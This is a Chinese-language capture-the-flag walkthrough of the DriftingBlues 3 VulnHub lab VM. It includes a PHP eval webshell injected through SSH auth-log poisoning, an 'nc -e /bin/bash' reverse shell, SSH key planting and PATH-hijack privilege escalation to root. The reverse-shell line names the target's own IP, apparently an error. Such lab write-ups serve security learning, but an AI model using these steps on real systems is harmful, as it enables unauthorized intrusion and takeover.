运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:driftingblues3(10.0.2.19)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/driftingblues-3,656/
使用nmap主机发现靶机ip:10.0.2.19
使用nmap端口扫描发现靶机开放端口:22、80
打开网站点击各个功能点,查看源码,没有发现可利用的点
使用dirsearch工具进行目录爆破
访问robots.txt
,找到一个不允许爬虫访问的地址
访问eventadmins
得到提示:检查/littlequeenofspades.html
访问/littlequeenofspades.html
,查看源码可以得到隐藏信息
aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==
解密:intruder? L2FkbWluc2ZpeGl0LnBocA==
再次解密:/adminsfixit.php
访问/adminsfixit.php
,可以看这是个ssh auth log文件,ssh登录用户名会写入这个文件,可以通过这个特性写入一句话木马
写入一句话木马,使用AntSword连接
ssh '<?php @eval($_POST['pass']);?>'@10.0.2.19
反弹shell,并获取交互式shell
nc -e /bin/bash 10.0.2.19 4444
python -c 'import pty; pty.spawn("/bin/bash")'
发现靶机有一个robertj
用户,我们对.ssh
文件夹具有写权限
可以使用ssh-keygen -t rsa
命令生成ssh密钥,将生成的私钥保存到:/home/robertj/.ssh/id_rsa
,然后使用命令cat id_rsa.pub > authorized_keys
将 SSH 公钥文件复制重命名为 authorized_keys
,用于 SSH 登陆认证,并将私钥复制到本机用于登录ssh
chmod 600 id_rsa
ssh -i id_rsa robertj@10.0.2.19
查看有没有特权命令或有没有可以利用的具有root权限的文件,发现/usr/bin/getinfo
文件可疑
find / -perm -u=s -type f 2>/dev/null
执行该文件,可以看到该文件执行了ip命令:ip addr show
可以替换ip命令进行提权
更改环境变量,再重新执行get_info
,提权成功
cd /tmp
echo '/bin/bash' > ip
chmod +x ip
export PATH=/tmp:$PATH
嗯,我突然想到能不能反弹shell后使用www-data
权限进行替换ip提权呢,后面又尝试了一下使用www-data
权限执行不了get_info
文件,权限不够
获取flag
参考链接:https://blog.csdn.net/Aluxian_/article/details/125291614